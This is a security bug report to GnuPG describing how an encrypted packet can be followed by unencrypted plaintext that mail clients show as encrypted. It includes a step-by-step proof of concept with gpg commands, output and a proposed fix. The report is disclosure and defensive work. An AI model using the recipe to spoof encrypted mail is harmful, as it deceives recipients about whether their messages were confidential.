Even if allow-multiple-messages is not used, GnuPG allows multiple messages in the following case:
- The first message is encrypted and does not have a plaintext packet.
- The second message is a plaintext packet.
The result is a message that looks as if it were encrypted on the command line, but the plaintext is not encrypted. This is confusing and potentially hazardous.
The status output shows NODATA, unless there is at least a single packet in the encrypted data. A private packet is sufficient to avoid the NODATA line. The only other way for applications to notice this case is that the PLAINTEXT messages come after END_DECRYPTION, but common mail clients do not check this (I tested Evolution, Thunderbird, GpgOL and Mutt, but others are probably affected as well).
It is easy to avoid this problem, for example by bumping literals_seen after END_DECRYPTION even if no literal is seen. Here is the comparable change in NeoPG: https://github.com/das-labor/neopg/commit/8311895c0277423a8330e47753a6b8ae2ad4359e
More info is available at https://neopg.io/blog/encryption-spoof/
How to reproduce:
# Create a private packet that is ignored by GnuPG echo -n -e '\xfc\x03\x50\x47\x50' > 02-private.pkt # Create an encrypted message. gpg --no-literal --compress-level 0 -r Nerd --encrypt < 02-private.pkt > 02-encrypted.pkt 2> /dev/null # Create a literal data packet. echo 'This is fine!' | gpg --store --compress-level 0 --faked-system-time 0 > 02-literal.pkt 2> /dev/null # Store the plaintext after the encrypted packet. cat 02-encrypted.pkt 02-literal.pkt > 02-message.gpg cat 02-message.gpg | gpg --enarmor | sed -e "s/ARMORED FILE/MESSAGE/" | sed -e '/^Comment\:/d' > 02-pgp-inline.gpg
Output:
$ cat 02-pgp-inline.gpg | gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: encrypted with 2048-bit RSA key, ID 66489556790B2E8E, created 2018-03-25 "twitter://lambdafu" This is fine!
Status FD output:
GNUPG:] ENC_TO 66489556790B2E8E 1 0 [GNUPG:] KEY_CONSIDERED 013072FB93A232E7C9B1DB3F7EBDF89573BAFB58 0 [GNUPG:] KEY_CONSIDERED 013072FB93A232E7C9B1DB3F7EBDF89573BAFB58 0 [GNUPG:] DECRYPTION_KEY 9669A61C2F57DEC457976E7B66489556790B2E8E 013072FB93A232E7C9B1DB3F7EBDF89573BAFB58 u [GNUPG:] KEY_CONSIDERED 013072FB93A232E7C9B1DB3F7EBDF89573BAFB58 0 [GNUPG:] BEGIN_DECRYPTION [GNUPG:] DECRYPTION_INFO 2 1 [GNUPG:] DECRYPTION_OKAY [GNUPG:] GOODMDC [GNUPG:] END_DECRYPTION [GNUPG:] PLAINTEXT 62 0 [GNUPG:] PLAINTEXT_LENGTH 14 This is fine!
Message composition:
$ cat msg | gpg --list-packet gpg: encrypted with 2048-bit RSA key, ID 66489556790B2E8E, created 2018-03-25 "twitter://lambdafu" # off=0 ctb=85 tag=1 hlen=3 plen=268 :pubkey enc packet: version 3, algo 1, keyid 66489556790B2E8E data: [2048 bits] # off=271 ctb=d2 tag=18 hlen=2 plen=33 new-ctb :encrypted data packet: length: 33 mdc_method: 2 # off=306 ctb=cb tag=11 hlen=2 plen=20 new-ctb :literal data packet: mode b (62), created 0, name="", raw data: 14 bytes